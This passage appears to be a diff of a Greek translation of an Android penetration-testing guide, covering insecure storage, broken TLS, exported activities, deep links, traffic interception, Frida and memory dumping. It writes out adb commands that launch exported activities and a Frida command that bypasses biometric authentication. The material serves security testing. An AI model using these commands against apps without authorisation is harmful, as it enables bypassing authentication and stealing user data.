Στο Android, τα αρχεία που **αποθηκεύονται** στην **εσωτερική** αποθήκευση είναι **σχεδιασμένα** να είναι **προσβάσιμα** αποκλειστικά από την **εφαρμογή** που τα **δημιούργησε**. Αυτό το μέτρο ασφαλείας **επιβάλλεται** από το λειτουργικό σύστημα Android και είναι γενικά επαρκές για τις ανάγκες ασφαλείας των περισσότερων εφαρμογών. Ωστόσο, οι προγραμματιστές μερικές φορές χρησιμοποιούν τρόπους όπως `MODE_WORLD_READABLE` και `MODE_WORLD_WRITABLE` για να **επιτρέψουν** τα αρχεία να **μοιράζονται** μεταξύ διαφορετικών εφαρμογών. Ωστόσο, αυτοί οι τρόποι **δεν περιορίζουν την πρόσβαση** σε αυτά τα αρχεία από άλλες εφαρμογές, συμπεριλαμβανομένων πιθανώς κακόβουλων.
|
||||
|
||||
1. **Στατική Ανάλυση:**
|
||||
- **Βεβαιωθείτε** ότι η χρήση των `MODE_WORLD_READABLE` και `MODE_WORLD_WRITABLE` **εξετάζεται προσεκτικά**. Αυτοί οι τρόποι **μπορούν να εκθέσουν** τα αρχεία σε **μη προγραμματισμένες ή μη εξουσιοδοτημένες προσβάσεις**.
|
||||
- **Βεβαιωθείτε** ότι η χρήση των `MODE_WORLD_READABLE` και `MODE_WORLD_WRITABLE` είναι **προσεκτικά εξετασμένη**. Αυτοί οι τρόποι **μπορούν να εκθέσουν** τα αρχεία σε **μη προγραμματισμένες ή μη εξουσιοδοτημένες προσβάσεις**.
|
||||
2. **Δυναμική Ανάλυση:**
|
||||
- **Επαληθεύστε** τις **άδειες** που έχουν οριστεί στα αρχεία που δημιουργούνται από την εφαρμογή. Συγκεκριμένα, **ελέγξτε** αν οποιαδήποτε αρχεία είναι **ρυθμισμένα να είναι αναγνώσιμα ή εγγράψιμα παγκοσμίως**. Αυτό μπορεί να θέσει σε σημαντικό κίνδυνο την ασφάλεια, καθώς θα επιτρέπει σε **οποιαδήποτε εφαρμογή** εγκατασταθεί στη συσκευή, ανεξαρτήτως προέλευσης ή προθέσεων, να **διαβάσει ή να τροποποιήσει** αυτά τα αρχεία.
|
||||
|
||||
@ -131,12 +131,12 @@ android-task-hijacking.md
|
||||
Η εξωτερική αποθήκευση μπορεί να **προσεγγιστεί** στο `/storage/emulated/0`, `/sdcard`, `/mnt/sdcard`
|
||||
|
||||
> [!TIP]
|
||||
> Ξεκινώντας από το Android 4.4 (**API 17**), η κάρτα SD έχει μια δομή καταλόγου που **περιορίζει την πρόσβαση από μια εφαρμογή στον κατάλογο που είναι ειδικά για αυτή την εφαρμογή**. Αυτό αποτρέπει την κακόβουλη εφαρμογή από το να αποκτήσει πρόσβαση για ανάγνωση ή εγγραφή στα αρχεία άλλης εφαρμογής.
|
||||
> Ξεκινώντας από το Android 4.4 (**API 17**), η κάρτα SD έχει μια δομή καταλόγου που **περιορίζει την πρόσβαση από μια εφαρμογή στον κατάλογο που είναι ειδικά για αυτήν την εφαρμογή**. Αυτό αποτρέπει την κακόβουλη εφαρμογή από το να αποκτήσει πρόσβαση για ανάγνωση ή εγγραφή στα αρχεία άλλης εφαρμογής.
|
||||
|
||||
**Ευαίσθητα δεδομένα αποθηκευμένα σε καθαρό κείμενο**
|
||||
|
||||
- **Κοινές ρυθμίσεις**: Το Android επιτρέπει σε κάθε εφαρμογή να αποθηκεύει εύκολα αρχεία xml στην διαδρομή `/data/data/<packagename>/shared_prefs/` και μερικές φορές είναι δυνατό να βρείτε ευαίσθητες πληροφορίες σε καθαρό κείμενο σε αυτόν τον φάκελο.
|
||||
- **Βάσεις Δεδομένων**: Το Android επιτρέπει σε κάθε εφαρμογή να αποθηκεύει εύκολα βάσεις δεδομένων sqlite στην διαδρομή `/data/data/<packagename>/databases/` και μερικές φορές είναι δυνατό να βρείτε ευαίσθητες πληροφορίες σε καθαρό κείμενο σε αυτόν τον φάκελο.
|
||||
- **Κοινές ρυθμίσεις**: Το Android επιτρέπει σε κάθε εφαρμογή να αποθηκεύει εύκολα αρχεία xml στη διαδρομή `/data/data/<packagename>/shared_prefs/` και μερικές φορές είναι δυνατό να βρείτε ευαίσθητες πληροφορίες σε καθαρό κείμενο σε αυτόν τον φάκελο.
|
||||
- **Βάσεις Δεδομένων**: Το Android επιτρέπει σε κάθε εφαρμογή να αποθηκεύει εύκολα βάσεις δεδομένων sqlite στη διαδρομή `/data/data/<packagename>/databases/` και μερικές φορές είναι δυνατό να βρείτε ευαίσθητες πληροφορίες σε καθαρό κείμενο σε αυτόν τον φάκελο.
|
||||
|
||||
### Σπασμένο TLS
|
||||
|
||||
@ -155,13 +155,13 @@ sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER);
|
||||
|
||||
Ορισμένοι προγραμματιστές αποθηκεύουν ευαίσθητα δεδομένα στην τοπική αποθήκευση και τα κρυπτογραφούν με ένα κλειδί σκληρά κωδικοποιημένο/προβλέψιμο στον κώδικα. Αυτό δεν θα έπρεπε να γίνεται καθώς κάποια αναστροφή θα μπορούσε να επιτρέψει στους επιτιθέμενους να εξάγουν τις εμπιστευτικές πληροφορίες.
|
||||
|
||||
**Χρήση Ανασφαλών και/ή Υποστηριζόμενων Αλγορίθμων**
|
||||
**Χρήση Ανασφαλών και/ή Παρωχημένων Αλγορίθμων**
|
||||
|
||||
Οι προγραμματιστές δεν θα πρέπει να χρησιμοποιούν **υποστηριζόμενους αλγορίθμους** για να εκτελούν **ελέγχους** εξουσιοδότησης, **να αποθηκεύουν** ή **να στέλνουν** δεδομένα. Ορισμένοι από αυτούς τους αλγορίθμους είναι: RC4, MD4, MD5, SHA1... Αν οι **hashes** χρησιμοποιούνται για την αποθήκευση κωδικών πρόσβασης, θα πρέπει να χρησιμοποιούνται hashes ανθεκτικοί σε brute-force με salt.
|
||||
Οι προγραμματιστές δεν θα πρέπει να χρησιμοποιούν **παρωχημένους αλγορίθμους** για να εκτελούν **ελέγχους** εξουσιοδότησης, **να αποθηκεύουν** ή **να στέλνουν** δεδομένα. Ορισμένοι από αυτούς τους αλγορίθμους είναι: RC4, MD4, MD5, SHA1... Αν οι **hashes** χρησιμοποιούνται για την αποθήκευση κωδικών πρόσβασης, θα πρέπει να χρησιμοποιούνται hashes ανθεκτικοί σε brute-force με salt.
|
||||
|
||||
### Άλλοι έλεγχοι
|
||||
|
||||
- Συνιστάται να **αποκρύπτετε το APK** για να δυσκολέψετε τη δουλειά του reverse engineer στους επιτιθέμενους.
|
||||
- Συνιστάται να **παραποιήσετε το APK** για να δυσκολέψετε τη δουλειά του αναστροφέα για τους επιτιθέμενους.
|
||||
- Αν η εφαρμογή είναι ευαίσθητη (όπως οι τραπεζικές εφαρμογές), θα πρέπει να εκτελεί τους **δικούς της ελέγχους για να δει αν το κινητό είναι ριζωμένο** και να ενεργεί αναλόγως.
|
||||
- Αν η εφαρμογή είναι ευαίσθητη (όπως οι τραπεζικές εφαρμογές), θα πρέπει να ελέγχει αν χρησιμοποιείται **emulator**.
|
||||
- Αν η εφαρμογή είναι ευαίσθητη (όπως οι τραπεζικές εφαρμογές), θα πρέπει να **ελέγχει την ακεραιότητά της πριν την εκτέλεση** για να ελέγξει αν έχει τροποποιηθεί.
|
||||
@ -185,7 +185,7 @@ react-native-application.md
|
||||
|
||||
### Superpacked Εφαρμογές
|
||||
|
||||
Σύμφωνα με αυτήν την [**ανάρτηση στο blog**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/) το superpacked είναι ένας αλγόριθμος Meta που συμπιέζει το περιεχόμενο μιας εφαρμογής σε ένα μόνο αρχείο. Το blog μιλάει για την πιθανότητα δημιουργίας μιας εφαρμογής που αποσυμπιέζει αυτού του είδους τις εφαρμογές... και μια ταχύτερη μέθοδο που περιλαμβάνει την **εκτέλεση της εφαρμογής και τη συλλογή των αποσυμπιεσμένων αρχείων από το σύστημα αρχείων.**
|
||||
Σύμφωνα με αυτήν την [**ανάρτηση στο blog**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/), το superpacked είναι ένας αλγόριθμος Meta που συμπιέζει το περιεχόμενο μιας εφαρμογής σε ένα μόνο αρχείο. Το blog μιλάει για την πιθανότητα δημιουργίας μιας εφαρμογής που αποσυμπιέζει αυτού του είδους τις εφαρμογές... και μια ταχύτερη μέθοδο που περιλαμβάνει την **εκτέλεση της εφαρμογής και τη συλλογή των αποσυμπιεσμένων αρχείων από το σύστημα αρχείων.**
|
||||
|
||||
### Αυτοματοποιημένη Στατική Ανάλυση Κώδικα
|
||||
|
||||
@ -238,7 +238,7 @@ content-protocol.md
|
||||
|
||||
#### Χρησιμοποιώντας έναν εξομοιωτή
|
||||
|
||||
- [**Android Studio**](https://developer.android.com/studio) (Μπορείτε να δημιουργήσετε **x86** και **arm** συσκευές, και σύμφωνα με [**αυτό**](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**οι τελευταίες εκδόσεις x86** υποστηρίζουν ARM βιβλιοθήκες χωρίς να χρειάζεται ένας αργός εξομοιωτής arm).
|
||||
- [**Android Studio**](https://developer.android.com/studio) (Μπορείτε να δημιουργήσετε **x86** και **arm** συσκευές, και σύμφωνα με [**αυτό**](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html) οι **latest x86** εκδόσεις **υποστηρίζουν ARM βιβλιοθήκες** χωρίς να χρειάζεται ένας αργός εξομοιωτής arm).
|
||||
- Μάθετε πώς να το ρυθμίσετε σε αυτή τη σελίδα:
|
||||
|
||||
{{#ref}}
|
||||
@ -265,24 +265,24 @@ avd-android-virtual-device.md
|
||||
2. (Από Android 8.0) Επιλέξτε **Σύστημα**.
|
||||
3. Επιλέξτε **Σχετικά με το τηλέφωνο**.
|
||||
4. Πατήστε **Αριθμός κατασκευής** 7 φορές.
|
||||
5. Επιστρέψτε και θα βρείτε τις **Επιλογές προγραμματιστή**.
|
||||
5. Επιστρέψτε πίσω και θα βρείτε τις **Επιλογές προγραμματιστή**.
|
||||
|
||||
> Μόλις εγκαταστήσετε την εφαρμογή, το πρώτο πράγμα που πρέπει να κάνετε είναι να την δοκιμάσετε και να ερευνήσετε τι κάνει, πώς λειτουργεί και να εξοικειωθείτε με αυτήν.\
|
||||
> Θα προτείνω να **εκτελέσετε αυτήν την αρχική δυναμική ανάλυση χρησιμοποιώντας την δυναμική ανάλυση MobSF + pidcat**, ώστε να μπορέσουμε να **μάθουμε πώς λειτουργεί η εφαρμογή** ενώ το MobSF **καταγράφει** πολλά **ενδιαφέροντα** **δεδομένα** που μπορείτε να αναθεωρήσετε αργότερα.
|
||||
> Θα προτείνω να **εκτελέσετε αυτήν την αρχική δυναμική ανάλυση χρησιμοποιώντας την δυναμική ανάλυση MobSF + pidcat**, έτσι ώστε να μπορέσουμε να **μάθουμε πώς λειτουργεί η εφαρμογή** ενώ το MobSF **καταγράφει** πολλά **ενδιαφέροντα** **δεδομένα** που μπορείτε να αναθεωρήσετε αργότερα.
|
||||
|
||||
### Ακούσια Διαρροή Δεδομένων
|
||||
|
||||
**Καταγραφή**
|
||||
|
||||
Οι προγραμματιστές θα πρέπει να είναι προσεκτικοί με την έκθεση **πληροφοριών αποσφαλμάτωσης** δημόσια, καθώς μπορεί να οδηγήσει σε διαρροές ευαίσθητων δεδομένων. Τα εργαλεία [**pidcat**](https://github.com/JakeWharton/pidcat) και `adb logcat` συνιστώνται για την παρακολούθηση των logs της εφαρμογής για να εντοπίσουν και να προστατεύσουν ευαίσθητες πληροφορίες. **Pidcat** προτιμάται για την ευχρηστία και την αναγνωσιμότητά του.
|
||||
Οι προγραμματιστές θα πρέπει να είναι προσεκτικοί με την έκθεση **πληροφοριών αποσφαλμάτωσης** δημόσια, καθώς μπορεί να οδηγήσει σε διαρροές ευαίσθητων δεδομένων. Τα εργαλεία [**pidcat**](https://github.com/JakeWharton/pidcat) και `adb logcat` συνιστώνται για την παρακολούθηση των logs της εφαρμογής για να εντοπίσουν και να προστατεύσουν ευαίσθητες πληροφορίες. **Το Pidcat** προτιμάται για την ευχρηστία και την αναγνωσιμότητά του.
|
||||
|
||||
> [!WARNING]
|
||||
> Σημειώστε ότι από **αργότερα από το Android 4.0**, **οι εφαρμογές μπορούν να έχουν πρόσβαση μόνο στα δικά τους logs**. Έτσι, οι εφαρμογές δεν μπορούν να έχουν πρόσβαση στα logs άλλων εφαρμογών.\
|
||||
> Σημειώστε ότι από **αργότερα νεότερα από το Android 4.0**, **οι εφαρμογές μπορούν να έχουν πρόσβαση μόνο στα δικά τους logs**. Έτσι, οι εφαρμογές δεν μπορούν να έχουν πρόσβαση στα logs άλλων εφαρμογών.\
|
||||
> Ούτως ή άλλως, εξακολουθεί να συνιστάται να **μην καταγράφετε ευαίσθητες πληροφορίες**.
|
||||
|
||||
**Caching του Buffer Αντιγραφής/Επικόλλησης**
|
||||
|
||||
Το **clipboard-based** πλαίσιο του Android επιτρέπει τη λειτουργία αντιγραφής-επικόλλησης στις εφαρμογές, ωστόσο θέτει έναν κίνδυνο καθώς **άλλες εφαρμογές** μπορούν να **πρόσβαση** στο clipboard, εκθέτοντας ενδεχομένως ευαίσθητα δεδομένα. Είναι κρίσιμο να **απενεργοποιήσετε τις λειτουργίες αντιγραφής/επικόλλησης** για ευαίσθητες ενότητες μιας εφαρμογής, όπως λεπτομέρειες πιστωτικών καρτών, για να αποτρέψετε διαρροές δεδομένων.
|
||||
Το **clipboard-based** πλαίσιο του Android επιτρέπει τη λειτουργία αντιγραφής-επικόλλησης σε εφαρμογές, ωστόσο θέτει έναν κίνδυνο καθώς **άλλες εφαρμογές** μπορούν να **πρόσβαση** στο clipboard, εκθέτοντας ενδεχομένως ευαίσθητα δεδομένα. Είναι κρίσιμο να **απενεργοποιήσετε τις λειτουργίες αντιγραφής/επικόλλησης** για ευαίσθητες ενότητες μιας εφαρμογής, όπως λεπτομέρειες πιστωτικών καρτών, για να αποτρέψετε διαρροές δεδομένων.
|
||||
|
||||
**Crash Logs**
|
||||
|
||||
@ -292,7 +292,7 @@ avd-android-virtual-device.md
|
||||
|
||||
**Δεδομένα Analytics που αποστέλλονται σε τρίτους**
|
||||
|
||||
Οι εφαρμογές συχνά ενσωματώνουν υπηρεσίες όπως το Google Adsense, οι οποίες μπορεί να διαρρεύσουν ευαίσθητα δεδομένα λόγω κακής υλοποίησης από τους προγραμματιστές. Για να εντοπίσετε πιθανές διαρροές δεδομένων, είναι σκόπιμο να **παρεμβάλετε την κίνηση της εφαρμογής** και να ελέγξετε αν αποστέλλεται οποιαδήποτε ευαίσθητη πληροφορία σε υπηρεσίες τρίτων.
|
||||
Οι εφαρμογές συχνά ενσωματώνουν υπηρεσίες όπως το Google Adsense, οι οποίες μπορεί να **διαρρεύσουν ευαίσθητα δεδομένα** λόγω κακής υλοποίησης από τους προγραμματιστές. Για να εντοπίσετε πιθανές διαρροές δεδομένων, είναι σκόπιμο να **παρεμβάλετε την κίνηση της εφαρμογής** και να ελέγξετε αν αποστέλλεται οποιαδήποτε ευαίσθητη πληροφορία σε υπηρεσίες τρίτων.
|
||||
|
||||
### SQLite DBs
|
||||
|
||||
@ -305,19 +305,19 @@ avd-android-virtual-device.md
|
||||
|
||||
### Drozer (Εκμετάλλευση Δραστηριοτήτων, Παρόχων Περιεχομένου και Υπηρεσιών)
|
||||
|
||||
Από [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer** σας επιτρέπει να **αναλαμβάνετε το ρόλο μιας εφαρμογής Android** και να αλληλεπιδράτε με άλλες εφαρμογές. Μπορεί να κάνει **οτιδήποτε μπορεί να κάνει μια εγκατεστημένη εφαρμογή**, όπως να χρησιμοποιήσει τον μηχανισμό Επικοινωνίας Μεταξύ Διαδικασιών (IPC) του Android και να αλληλεπιδράσει με το υποκείμενο λειτουργικό σύστημα.\
|
||||
Από [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Το Drozer** σας επιτρέπει να **αναλαμβάνετε το ρόλο μιας εφαρμογής Android** και να αλληλεπιδράτε με άλλες εφαρμογές. Μπορεί να κάνει **οτιδήποτε μπορεί να κάνει μια εγκατεστημένη εφαρμογή**, όπως να χρησιμοποιήσει τον μηχανισμό Επικοινωνίας Μεταξύ Διαδικασιών (IPC) του Android και να αλληλεπιδράσει με το υποκείμενο λειτουργικό σύστημα.\
|
||||
Το Drozer είναι ένα χρήσιμο εργαλείο για **να εκμεταλλευτείτε εξαγόμενες δραστηριότητες, εξαγόμενες υπηρεσίες και Παρόχους Περιεχομένου** όπως θα μάθετε στις επόμενες ενότητες.
|
||||
|
||||
### Εκμετάλλευση εξαγόμενων Δραστηριοτήτων
|
||||
|
||||
[**Διαβάστε αυτό αν θέλετε να ανανεώσετε τι είναι μια Δραστηριότητα Android.**](android-applications-basics.md#launcher-activity-and-other-activities)\
|
||||
Επίσης θυμηθείτε ότι ο κώδικας μιας δραστηριότητας ξεκινά στη **μέθοδο `onCreate`**.
|
||||
Επίσης, θυμηθείτε ότι ο κώδικας μιας δραστηριότητας ξεκινά στη μέθοδο **`onCreate`**.
|
||||
|
||||
**Παράκαμψη εξουσιοδότησης**
|
||||
|
||||
Όταν μια Δραστηριότητα είναι εξαγόμενη, μπορείτε να καλέσετε την οθόνη της από μια εξωτερική εφαρμογή. Επομένως, αν μια δραστηριότητα με **ευαίσθητες πληροφορίες** είναι **εξαγόμενη**, θα μπορούσατε να **παράκαμψετε** τους **μηχανισμούς αυθεντικοποίησης** **για να την αποκτήσετε**.
|
||||
|
||||
[**Μάθετε πώς να εκμεταλλευτείτε τις εξαγόμενες δραστηριότητες με το Drozer.**](drozer-tutorial/index.html#activities)
|
||||
[**Μάθετε πώς να εκμεταλλευτείτε εξαγόμενες δραστηριότητες με το Drozer.**](drozer-tutorial/index.html#activities)
|
||||
|
||||
Μπορείτε επίσης να ξεκινήσετε μια εξαγόμενη δραστηριότητα από το adb:
|
||||
|
||||
@ -328,7 +328,7 @@ adb shell am start -n com.example.demo/com.example.test.MainActivity
|
||||
```
|
||||
**ΣΗΜΕΙΩΣΗ**: Το MobSF θα ανιχνεύσει ως κακόβουλη τη χρήση του _**singleTask/singleInstance**_ ως `android:launchMode` σε μια δραστηριότητα, αλλά λόγω [αυτού](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750), προφανώς αυτό είναι επικίνδυνο μόνο σε παλιές εκδόσεις (API εκδόσεις < 21).
|
||||
|
||||
> [!TIP]
|
||||
> [!ΣΥΜΒΟΥΛΗ]
|
||||
> Σημειώστε ότι μια παράκαμψη εξουσιοδότησης δεν είναι πάντα ευπάθεια, θα εξαρτηθεί από το πώς λειτουργεί η παράκαμψη και ποιες πληροφορίες εκτίθενται.
|
||||
|
||||
**Διαρροή ευαίσθητων πληροφοριών**
|
||||
@ -365,7 +365,7 @@ adb shell am start -n com.example.demo/com.example.test.MainActivity
|
||||
### **Εκμετάλλευση Σχημάτων / Deep links**
|
||||
|
||||
Μπορείτε να αναζητήσετε deep links χειροκίνητα, χρησιμοποιώντας εργαλεία όπως το MobSF ή σενάρια όπως [αυτό](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py).\
|
||||
Μπορείτε να **ανοίξετε** ένα δηλωμένο **σχήμα** χρησιμοποιώντας **adb** ή έναν **περιηγητή**:
|
||||
Μπορείτε να **ανοίξετε** ένα δηλωμένο **σχήμα** χρησιμοποιώντας **adb** ή έναν **φυλλομετρητή**:
|
||||
```bash
|
||||
adb shell am start -a android.intent.action.VIEW -d "scheme://hostname/path?param=value" [your.package.name]
|
||||
```
|
||||
@ -397,7 +397,7 @@ _Σημειώστε ότι μπορείτε να **παραλείψετε το
|
||||
|
||||
### Αποτυχίες Επιθεώρησης και Επαλήθευσης Στρώματος Μεταφοράς
|
||||
|
||||
- **Οι πιστοποιήσεις δεν ελέγχονται πάντα σωστά** από τις εφαρμογές Android. Είναι συνηθισμένο αυτές οι εφαρμογές να παραβλέπουν προειδοποιήσεις και να αποδέχονται αυτο-υπογεγραμμένες πιστοποιήσεις ή, σε ορισμένες περιπτώσεις, να επιστρέφουν στη χρήση συνδέσεων HTTP.
|
||||
- **Οι πιστοποιήσεις δεν ελέγχονται πάντα σωστά** από τις εφαρμογές Android. Είναι συνηθισμένο αυτές οι εφαρμογές να παραβλέπουν προειδοποιήσεις και να αποδέχονται αυτο-υπογεγραμμένες πιστοποιήσεις ή, σε ορισμένες περιπτώσεις, να επιστρέφουν στη χρήση HTTP συνδέσεων.
|
||||
- **Οι διαπραγματεύσεις κατά τη διάρκεια του SSL/TLS handshake είναι μερικές φορές αδύναμες**, χρησιμοποιώντας ανασφαλείς κρυπτογραφικές σουίτες. Αυτή η ευπάθεια καθιστά τη σύνδεση ευάλωτη σε επιθέσεις man-in-the-middle (MITM), επιτρέποντας στους επιτιθέμενους να αποκρυπτογραφήσουν τα δεδομένα.
|
||||
- **Διαρροή ιδιωτικών πληροφοριών** είναι ένας κίνδυνος όταν οι εφαρμογές πιστοποιούν χρησιμοποιώντας ασφαλείς διαύλους αλλά στη συνέχεια επικοινωνούν μέσω μη ασφαλών διαύλων για άλλες συναλλαγές. Αυτή η προσέγγιση αποτυγχάνει να προστατεύσει ευαίσθητα δεδομένα, όπως cookies συνεδρίας ή λεπτομέρειες χρηστών, από την παρεμβολή κακόβουλων οντοτήτων.
|
||||
|
||||
@ -407,13 +407,13 @@ _Σημειώστε ότι μπορείτε να **παραλείψετε το
|
||||
|
||||
#### SSL Pinning
|
||||
|
||||
Το SSL Pinning είναι ένα μέτρο ασφαλείας όπου η εφαρμογή επαληθεύει το πιστοποιητικό του διακομιστή με μια γνωστή αντίγραφο που είναι αποθηκευμένο μέσα στην ίδια την εφαρμογή. Αυτή η μέθοδος είναι απαραίτητη για την αποτροπή επιθέσεων MITM. Συνιστάται έντονα η εφαρμογή SSL Pinning για εφαρμογές που χειρίζονται ευαίσθητες πληροφορίες.
|
||||
Το SSL Pinning είναι ένα μέτρο ασφαλείας όπου η εφαρμογή επαληθεύει το πιστοποιητικό του διακομιστή με μια γνωστή αντίγραφο που είναι αποθηκευμένο μέσα στην ίδια την εφαρμογή. Αυτή η μέθοδος είναι απαραίτητη για την αποτροπή επιθέσεων MITM. Συνιστάται έντονα η εφαρμογή του SSL Pinning για εφαρμογές που χειρίζονται ευαίσθητες πληροφορίες.
|
||||
|
||||
#### Επιθεώρηση Κίνησης
|
||||
|
||||
Για να επιθεωρήσετε την κίνηση HTTP, είναι απαραίτητο να **εγκαταστήσετε το πιστοποιητικό του εργαλείου proxy** (π.χ., Burp). Χωρίς την εγκατάσταση αυτού του πιστοποιητικού, η κρυπτογραφημένη κίνηση μπορεί να μην είναι ορατή μέσω του proxy. Για οδηγίες σχετικά με την εγκατάσταση ενός προσαρμοσμένου πιστοποιητικού CA, [**κάντε κλικ εδώ**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine).
|
||||
|
||||
Οι εφαρμογές που στοχεύουν **API Level 24 και άνω** απαιτούν τροποποιήσεις στη Ρύθμιση Ασφαλείας Δικτύου για να αποδεχτούν το πιστοποιητικό CA του proxy. Αυτό το βήμα είναι κρίσιμο για την επιθεώρηση κρυπτογραφημένης κίνησης. Για οδηγίες σχετικά με την τροποποίηση της Ρύθμισης Ασφαλείας Δικτύου, [**ανατρέξτε σε αυτό το σεμινάριο**](make-apk-accept-ca-certificate.md).
|
||||
Οι εφαρμογές που στοχεύουν **API Level 24 και άνω** απαιτούν τροποποιήσεις στη Διαμόρφωση Ασφαλείας Δικτύου για να αποδεχτούν το πιστοποιητικό CA του proxy. Αυτό το βήμα είναι κρίσιμο για την επιθεώρηση κρυπτογραφημένης κίνησης. Για οδηγίες σχετικά με την τροποποίηση της Διαμόρφωσης Ασφαλείας Δικτύου, [**ανατρέξτε σε αυτό το σεμινάριο**](make-apk-accept-ca-certificate.md).
|
||||
|
||||
Αν χρησιμοποιείται **Flutter** πρέπει να ακολουθήσετε τις οδηγίες σε [**αυτή τη σελίδα**](flutter.md). Αυτό συμβαίνει γιατί, απλά προσθέτοντας το πιστοποιητικό στο κατάστημα δεν θα λειτουργήσει καθώς το Flutter έχει τη δική του λίστα έγκυρων CA.
|
||||
|
||||
@ -433,15 +433,15 @@ _Σημειώστε ότι μπορείτε να **παραλείψετε το
|
||||
|
||||
### Frida
|
||||
|
||||
[Frida](https://www.frida.re) είναι ένα εργαλείο δυναμικής οργάνωσης για προγραμματιστές, αναλυτές αντίστροφης μηχανικής και ερευνητές ασφαλείας.\
|
||||
**Μπορείτε να αποκτήσετε πρόσβαση σε εκτελούμενες εφαρμογές και να συνδέσετε μεθόδους σε πραγματικό χρόνο για να αλλάξετε τη συμπεριφορά, να αλλάξετε τιμές, να εξάγετε τιμές, να εκτελέσετε διαφορετικό κώδικα...**\
|
||||
[Frida](https://www.frida.re) είναι ένα εργαλείο δυναμικής οργάνωσης για προγραμματιστές, αναλυτές αντίστροφης μηχανικής και ερευνητές ασφάλειας.\
|
||||
**Μπορείτε να έχετε πρόσβαση σε εκτελούμενες εφαρμογές και να συνδέσετε μεθόδους σε πραγματικό χρόνο για να αλλάξετε τη συμπεριφορά, να αλλάξετε τιμές, να εξάγετε τιμές, να εκτελέσετε διαφορετικό κώδικα...**\
|
||||
Αν θέλετε να κάνετε pentest σε εφαρμογές Android πρέπει να ξέρετε πώς να χρησιμοποιείτε το Frida.
|
||||
|
||||
- Μάθετε πώς να χρησιμοποιείτε το Frida: [**Frida tutorial**](frida-tutorial/index.html)
|
||||
- Μερικά "GUI" για ενέργειες με το Frida: [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security)
|
||||
- Ojection είναι εξαιρετικό για την αυτοματοποίηση της χρήσης του Frida: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon)
|
||||
- Μπορείτε να βρείτε μερικά καταπληκτικά σενάρια Frida εδώ: [**https://codeshare.frida.re/**](https://codeshare.frida.re)
|
||||
- Προσπαθήστε να παρακάμψετε μηχανισμούς anti-debugging / anti-frida φορτώνοντας το Frida όπως υποδεικνύεται σε [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace) (εργαλείο [linjector](https://github.com/erfur/linjector-rs))
|
||||
- Προσπαθήστε να παρακάμψετε μηχανισμούς anti-debugging / anti-frida φορτώνοντας το Frida όπως αναφέρεται σε [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace) (εργαλείο [linjector](https://github.com/erfur/linjector-rs))
|
||||
|
||||
### **Dump Memory - Fridump**
|
||||
|
||||
@ -470,7 +470,7 @@ strings * | grep -E "^[a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a
|
||||
```bash
|
||||
frida -U -f com.example.app -l frida-scripts/tracer-cipher.js
|
||||
```
|
||||
### **Απαγόρευση Δακτυλικών Αποτυπωμάτων/Βιομετρικών**
|
||||
### **Fingerprint/Biometrics Bypass**
|
||||
|
||||
Χρησιμοποιώντας το παρακάτω σενάριο Frida, θα μπορούσε να είναι δυνατό να **παρακαμφθεί η αυθεντικοποίηση δακτυλικών αποτυπωμάτων** που ενδέχεται να εκτελούν οι εφαρμογές Android προκειμένου να **προστατεύσουν ορισμένες ευαίσθητες περιοχές:**
|
||||
```bash
|
||||
@ -478,13 +478,13 @@ frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f <app
|
||||
```
|
||||
### **Εικόνες Φόντου**
|
||||
|
||||
Όταν βάζετε μια εφαρμογή στο παρασκήνιο, το Android αποθηκεύει μια **στιγμιότυπο της εφαρμογής** έτσι ώστε όταν ανακτηθεί στο προσκήνιο να αρχίσει να φορτώνει την εικόνα πριν από την εφαρμογή, ώστε να φαίνεται ότι η εφαρμογή φορτώθηκε πιο γρήγορα.
|
||||
Όταν βάζετε μια εφαρμογή σε φόντο, το Android αποθηκεύει μια **στιγμιότυπο της εφαρμογής** έτσι ώστε όταν ανακτηθεί στο προσκήνιο να αρχίσει να φορτώνει την εικόνα πριν από την εφαρμογή, ώστε να φαίνεται ότι η εφαρμογή φορτώθηκε πιο γρήγορα.
|
||||
|
||||
Ωστόσο, αν αυτό το στιγμιότυπο περιέχει **ευαίσθητες πληροφορίες**, κάποιος με πρόσβαση στο στιγμιότυπο μπορεί να **κλέψει αυτές τις πληροφορίες** (σημειώστε ότι χρειάζεστε root για να έχετε πρόσβαση σε αυτό).
|
||||
|
||||
Τα στιγμιότυπα συνήθως αποθηκεύονται γύρω από: **`/data/system_ce/0/snapshots`**
|
||||
|
||||
Το Android παρέχει έναν τρόπο να **αποτρέψει την καταγραφή στιγμιότυπων οθόνης ρυθμίζοντας την παράμετρο διάταξης FLAG_SECURE**. Χρησιμοποιώντας αυτή τη σημαία, το περιεχόμενο του παραθύρου θεωρείται ασφαλές, αποτρέποντας την εμφάνιση σε στιγμιότυπα οθόνης ή την προβολή σε μη ασφαλείς οθόνες.
|
||||
Το Android παρέχει έναν τρόπο να **αποτρέψει τη λήψη στιγμιότυπων οθόνης ρυθμίζοντας την παράμετρο διάταξης FLAG_SECURE**. Χρησιμοποιώντας αυτή τη σημαία, το περιεχόμενο του παραθύρου θεωρείται ασφαλές, αποτρέποντας την εμφάνιση σε στιγμιότυπα οθόνης ή την προβολή σε μη ασφαλείς οθόνες.
|
||||
```bash
|
||||
